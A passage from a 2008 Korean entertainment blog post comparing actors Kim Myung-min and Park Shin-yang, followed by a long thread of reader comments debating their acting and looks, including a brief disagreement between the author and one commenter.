사실 김명민은 데뷔할 때 일각에서 '제2의 박신양'이라는 얘기를 듣기도 했습니다. 언뜻 평범해 보이는 외모에(글쎄 남자들에겐 이렇게 보인다니까요;;) 선이 굵은 연기를 한다는 면은 공통점으로 꼽을 만 하죠. 그런데 두 배우가 이제 맞대결을 펼치고 있으니 참 흥미로운 일이죠. 시청자들이 어느 쪽 손을 들어 줄지 궁금합니다.






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Posted by 송원섭

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  2. 훌륭하신 그녀 2008.09.27 08:45 신고 Address Modify/Delete Reply

    저도 박신양 외모가 평범하다에 동감 한표고요.
    김명민의 외모도 평범하다에 동감 열표요.
    하지만 어쨌거나 저는 베바를 본답니다.
    왜냐면 김명민은 너무나 강마에 같이 생겼어요.
    강마에가 어떻게 생겼을지는 모르나 김명민같이 생겼을듯.
    그리고 그전에 닥터 장일때...그때는 정말 닥터장같이 생겼었어요. 그 사람은 왜케 연기를 잘하는거죠? 정말 쫀쫀 쪼잔 엄격 냉정 썰렁 코믹 강마에는 김명민 아님 안돼요. 암튼 저는 여자입니다만, 제가 볼때는 저 위 두분들 외모는 글쓴이의 말이 맞다고 보아요. 그러나 둘다 연기는 짱이야요..평범 정도의 외모가 배우에게는 좋은 것 같아요.

    • 송원섭 2008.09.27 10:37 신고 Address Modify/Delete

      강마에가 어떻게 생겼을지 모르나 김명민같이... 공감입니다.^

  3. 이종범 2008.09.27 10:45 신고 Address Modify/Delete Reply

    아직 바람의 화원이 몇회 안해서인지 현재로서는 박신양씨보다 김명민씨의 연기에 손을 들어주고 싶습니다. 하지만, 박신양씨도 예전부터 좋아했었기에 곧 박신양씨의 진가가 발휘되리라 생각해요. 또한 어렸을 적에 어색한 박신양이라 불리기도 해서 더 친근감이 있어요. ^^;;; (그 이야기는 저는 어색하게 평범하다는...) 정말 김명민씨와 박신양씨의 연기 기대됩니다. 아, 트랙백 감사합니다. 저도 걸어두고 갈께요 ^^

  4. HJ 2008.09.27 16:23 신고 Address Modify/Delete Reply

    그런데 웬일로 박신양에 대해 이리도 호의적으로? 예전 글을 생각해 보면 좀 의외인데요?

  5. 온리 베빠. 2008.09.27 18:15 신고 Address Modify/Delete Reply

    베바에 홀딱해서 베빠가 되어버린 탓에 (김명민씨 연기는 대단히 만족해 하고 있지만, 강빠는 아니랍니다. 다른 배우들, 조역도 재미나더군요) 별고민 안하고 산다죠.

    사실 전 파리라는 들마 자체에 심각한? 거부감이 있었고, 다른 박신양씨 영화도 제 취향관 안맞았기에.... 자연스레? 화원에도 그닥 관심이 안가더라는..... (네 물론? 전 남자랍니다.)

    문영양은 가을동화 이후론 출연작을 본적도 없고 딱히 채널을 따라갈 정도의 호불호도 없는 관계로 패쑤 대상인......(진짜냐고요? 진짜입니다. 국민 여동생으로 뜰 때도 그저 귀여운갑다 하던 무덤덤한 1인이었다죠...)

  6. 0216 2008.09.28 12:43 신고 Address Modify/Delete Reply

    박신양씨의 연기와 작품선택은 일단 신뢰가 갑니다.

    데뷔때부터 인정받던 연기력은 어디 안가겠죠 ㅎㅎ

    호방하며 다소 괴짜기질도 있는 천재화가 김홍도의 모습에 딱인것 같습니다.

    사극톤을 쓰지 않는다는 면이 시청자들에게는 좀 생소하게 다가오는 부분도 있는거 같은데, 오히려 이런면이 김홍도에게는 더 맞는
    설정이 아닐런지요?

    어쨌든 손에 꼽는 훌륭한 배우임에는 분명한듯!

  7. 박신양씨에게 한표... 2008.09.28 13:21 신고 Address Modify/Delete Reply

    연기라면 뭐 두분다 잘하시긴하지만
    박신양씨가 더 끌리네요 ^^

  8. 신양빠 2008.09.28 17:29 신고 Address Modify/Delete Reply

    그에게 아직도 ㅃ푹 빠져있습니다..
    그의 연기를 보면 편안함을 느낍니다..

  9. 조제 2008.09.29 10:36 신고 Address Modify/Delete Reply

    김명민씨의 주요작을 거의 보지 않았고,
    박신양씨의 경우엔 편지 약속 쩐의 전쟁정도의
    필모에만 저의 감상이 가능하겠습니다만...
    드라마 자체로만 놓고 봤을 때
    베토멘 바이러스는 노다메 칸타빌레와 너무 유사해서..
    첫회보고 딱.. 이건.. 아니다.. 싶었죠^^
    물론 베토멘 바이러스만의 매력도 뭔가 찾아보면
    있겠지만 말입니다..^^
    허나 바람의 화원은 달랐죠~
    그림 그것도 동양화를 주제로 한 드라마가 있었던가요?
    시대극이면서도 고예술을 잘 버무린 바람의 화원이
    훨씬 더 좋더군요 전^^
    그건 그렇고..
    박신양이냐 김명민이냐 요건.. 전 그냥 김명민씨네요.
    김명민씨 드라마 본거 아무것도 없지만ㅋㅋ
    박신양씨는 솔직히 제겐 살짝 비호감이세요.
    하지만 신양씨에겐 묘한 매력이 있더군요.
    그 분이 분명 비호감으로 느껴짐에도 극속에 들어가면
    어느순간 그걸 잊고 보게될 때도 있더라구요^^

  10. 바화팬 2008.10.01 01:44 신고 Address Modify/Delete Reply

    글 잘 읽었습니다.
    역시 박신양이 최고져.

    자신이 외모는 박신양보다 낫다고 생각하는
    숱한 남성들은 반성 좀 해야되고요 ㅎㅎ
    (안경만쓰면 박신양이래 ㄲㄲ)

    바람의화원을 재밌게 보고있는 팬으로서
    공감가는 부분이 많네요.
    김명민, 박신양 모두 좋은배우지만..
    저로서는 역시 박신양에 한표^_^

    박신양은 좀 마성이 있는듯? ㄷㄷ

  11. 려화 2008.10.08 19:55 신고 Address Modify/Delete Reply

    저는 김명민을 개인적으로 좋아하고,또한 그의 연기가 바화의 박신양보다 더 안정적이고 캐릭터를 잘 분석한 것 같아서, 더 끌립니다. 그러나, 베바 드라마 자체는 너무 일본 드라마스러운 느낌이 들더군요. 그래서 저는 오히려 바람의 화원을 본방사수하고 있습니다. 베바는 다운으로 보구요.두 드라마다 주제는 독특하지만, 제가 한국적인 미에 관심이 많아서 그런지, 대장금과 비슷한 설정이나 느낌이 좋고, 은근한 한국의 미를 가지고 있으면서도, 대중에게 멀게만 느껴졌던 한국화에 대해서 관심을 불러 일으키게 하니,바화는 참으로 바람직한 드라마라고 봅니다. 특히나, 근영양이 신윤복을 너무나도 맛깔 스럽게 표현해 주고 있어서 여배우로써의 그녀의 미래가 아주 궁금해 져요. 근데 근영양하고 정향이 나올땐 제가 여자라 그런지 좀 쫌.. 많이--;;; 민망하더군요. 이런 점이 해외에 수출 되었을시 어떤 반응이 나올지 궁금해요. 대부분 수출 되는 국가들이 유교를 바탕에 둔 아시아국가들이니.... 아무튼 저는 바화에 한표 구요, 김홍도역을 김명민이, 신윤복이 문근영양이 하는 바화였으면 진짜 대박인 드라마가 되지 않았을까 하는 욕심스런 생각까지 해봅니다. 요즘 나오는 남자배우중에 김명민보다 은근 섹시한 배우 없는거 같습니다( 이건 무슨 발언?) . 그리고 님 글 언제나 잘 읽고 있습니다^^

    • 송원섭 2008.10.08 20:11 신고 Address Modify/Delete

      김명민도 박신양도 모두 좋은 배우지만, '베바'에서 김명민의 비중이 90%라면 '바화'에서 박신양의 비중은 49% 이하라는 점이 상당히 크게 작용하는 것 같습니다. '바화'의 진짜 주인공은 누가 뭐래도 신윤복이니까요.^

  12. hhya 2008.10.09 14:06 신고 Address Modify/Delete Reply

    전 여자지만, 박신양에 대해 거부감이 좀 있네요.
    썩 연기를 잘 한다고 느낀 점이 한번도 없었고,
    연기가 가식이란 느낌이 가끔 들어서 말이죠.

    반면에, 이번에 김명민 씨 연기에 정말 감탄 했습니다.
    목소리는 꼭 성우같고,
    말투나 표정 연기가 바로 그 사람이 된 듯 하더군요.

    일본 드라마 노다메 칸타빌레를 즐겨봤었는데,
    치아키와 강마에는 상대가 되지 않더군요.
    역시 연기 경력의 차이가...

    아무튼, 드라마를 잘 안 보는 저도, 김명민씨의 연기를 보기위해 보고 있습니다.

  13. 전 베바.... 2008.10.09 18:43 신고 Address Modify/Delete Reply

    전 김명민씨에게 한 표요..
    다양한 캐릭터를 다양하게 보여주시는 것 같아요...
    하지만 박신양씨는 왠지
    캐릭터는 다양하나 그 캐릭터들이 비슷하게 느껴지거든요.
    이번 김홍도도 그때 그 시절의 김홍도가 아니라
    박신양이 변장한 김홍도라는 것이 느껴져서요...
    그런데 김명민씨 연기를 보면 그냥 무조건적으로
    감정이입되는 것 같아요.
    그가 김명민이라기 보다
    장준혁이면 장준혁으로 강마에면 강마로 느껴진다는 거죠...
    다양한 캐릭터를 다양하게 보여주시는 능력은
    아주 뛰어난 것 같아요....
    그런 점에서 김명민씨에게 한 표 던집니다.
    ㅡㅡ...바람의 화원으로 채널을 돌리는 것이 아주 어렵게 만들어요...시간 챙겨서 보게 하는 배우는 처음...

  14. 2008.10.17 08:57 신고 Address Modify/Delete Reply

    전 박신양이예요.
    전 그 옛날부터... 쁘와종, 유리 ,사랑한다면..등등 그때부터
    몇년 전 양복 광고 넘 섹시했구요...
    문근영과 만들어내는 에너지는 뭐라 표현할 길이 없읍니다

  15. 명품바화 2008.10.26 22:34 신고 Address Modify/Delete Reply

    바.화를 사랑하는 시청자입니다.
    그 옛날 박신양을 좋아했지만, 세월은 어찌할 수 없나봐요.
    안경벗은 뒤 눈 밑에 자국..넘 안스러워요^^;
    남자도 여배우 못지않게 자기 관리 필요함을 느낍니다.

    박신양씨는 이번 바.화를 하면서 이건 사극이 아니다, 라고했습니다.-_-;
    이 분석이 문제인것 같습니다.
    신양씨 대사가 임팩트는 없고 물흐르듯이 그냥 흐릅니다.
    대사들이 공중에 흩어집니다. 또 곳곳에 금나라가 보입니다.
    이건 분량과 관계없이 신양씨 본인의 문제이기도 합니다.

    본인도 느끼겠지만 다음에는 사극은 안하는 게 나을 듯.

    고로 연기로는 강마에에게 손!!

  16. 재밌어요. 2008.10.30 09:07 신고 Address Modify/Delete Reply

    드라마가??
    드라마도 드라마지만 글 참 잘 쓰시네요.
    블로거 뉴스 거의 대충 보는데 끝까지 잘 읽었습니다.
    여자가 보기에도 박신양은 잘생긴 얼굴을 아닌것 같습니다.
    하지만 어떤 일에든 열심히 하고 잘해내는 모습이 아름답게 느껴지는거겠죠.
    하지만 김명민은 잘 생긴 얼굴 같은데요..ㅎㅎ

    • 송원섭 2008.10.30 09:36 신고 Address Modify/Delete

      ㅎㅎㅎ 20대때 김명민씨가 그런 말을 들었어야 했는데.

  17. 안타까울따름입니다ㅜ 2008.12.01 20:11 신고 Address Modify/Delete Reply

    심심해서 막 검색하다가 우연히 들왔네요 전 엄청 늦은 댓글이네여; ㅋ 전 베바는 첫회부터 안봐서 모르겠는데 중간중간 강마에를 봤습니다 ㅋ 전체적으로 안봤지만 강마에 캐릭터는 정말 특이하고 색다르더군요 그걸 김명민씨가 잘 표현해주었구요 참,,캐릭터를 잘 만나신듯 작품성은 중간이구요 글구 바화,,박신양씨는 범죄의재구성때부터 제가 무척이라 좋아라했던 팬으로서 많이 안타깝습니다 우선 처음에 시작할때 바화 정말 끌리는 드라마였죠 간간히 와우!였던 장면들도 많이 있었구요 그치만,,주연으로서의 김흥도 비중이 넘 없었습니다 조연인 정햑역에 문채원씨만큼? 머 그정도까지는 아니였지만 인기도도 그렇고 요러모로 신양님께는 이 드라마가 제일 아니였던 것같습니다 ㅡ,,ㅡ

  18. ㅅㅅㅅ 2008.12.09 21:56 신고 Address Modify/Delete Reply

    박신양씨 잘생긴거같은데..
    그니깐 그 미남틱하게 정교하게 생긴 잘생긴거말고 되게 남자다우면서 매력적인 얼굴.. 보조개랑 그 긴 눈매 진짜 매력적.. 살인미소가짱임. 고1인데 박신양 멋있다고 꺅꺅거려서 애들한테 아빠뻘좋아한다고 뭐라그러고 --

    대부분이 자신이 박신양보다 더 잘생겼다고생각한다고...
    ㄱ-아놔

  19. 김윤희 2010.01.08 20:25 신고 Address Modify/Delete Reply

    박신양이나 김명민이나 그닥 꽃미남계열은 아니지만 송원섭님의 단정-박신양은 여자에게 인기있고 미남으로 불린다-에 깜놀햇네요..
    여자들은 취향이 정말 다 다릅니다..예를 들어 장동건이 미남이긴 하지만 싫어하는 사람꽤 되요.미남이니가 인기잇겟지라고 생각하는건 남자들 생각..여자들은 얼굴자체보단 전체분위기나 말투목소리를 봅니다.그런의미에서 김명민이 여자에게 더 인기잇어요..ㅋ

    • 송원섭 2010.01.08 23:43 신고 Address Modify/Delete

      좀 어이가 없군요. 대체 무슨 글을 읽고 다신 댓글인지 궁금합니다.

  20. 김윤희 2010.01.11 19:11 신고 Address Modify/Delete Reply

    원섭님.제가 잘 모르고 썻다면 죄송합니다,그런데 왜 이렇게 예민하게 반응하세요/어제 배탈이라도 나신건지.-어이가없다는 말-..실제 제 얼굴 보고 하실수잇으세요?사람이 실수할때마다 어이가없다.이러시나요.무슨글읽었냐구요/-특히 이 시기, 저는 참 놀라운 사실을 알게 됐습니다. 그건 박신양의 '외모'가 여성들에게 먹힌다는 거였습니다.
    대다수 남자들이 보기에 박신양은 결코 미남이 아닙니다-이거읽고 달았습니다..

  21. 김윤희 2010.01.21 13:02 신고 Address Modify/Delete Reply

    님이 단정적으로 박신양은 미남으로 불린다-라고 쓴건 제 지레짐막이니 사과합니다.그렇게 쓰게 된건 님이 박신양은 남자가 보기에 미남은 아닌데 여자들은 미남으로 본다 (먹힌다는 말에 그런뜻이 내포되어잇다고 지레짐작한거죠)고 생각해서였구요.미남이 아닌 외모지만 여러가지 분위기를 가진 남자로 여자들이 좋아한다는 말씀인지는 알겠어요..제가 말하고 싶은것은 님이 여자들은 -다-박신양을 외모괜찮게 본다고 일반화시켜서 표현한것이 잘못이라고 지적하고 싶었습니다,.그래서 남자가 보기에 미남이 아니라도 여자들은 취향이 각각 다르기에 먹힐수 있다는거를 말하고 싶었구요.남자가 보기엔 미남이 결코 아니라는 님이 일단-일반화의 오류-를 범하고 있고 여자들에게 먹힌다-일반화의 오류-를 또 범하고 있는것도..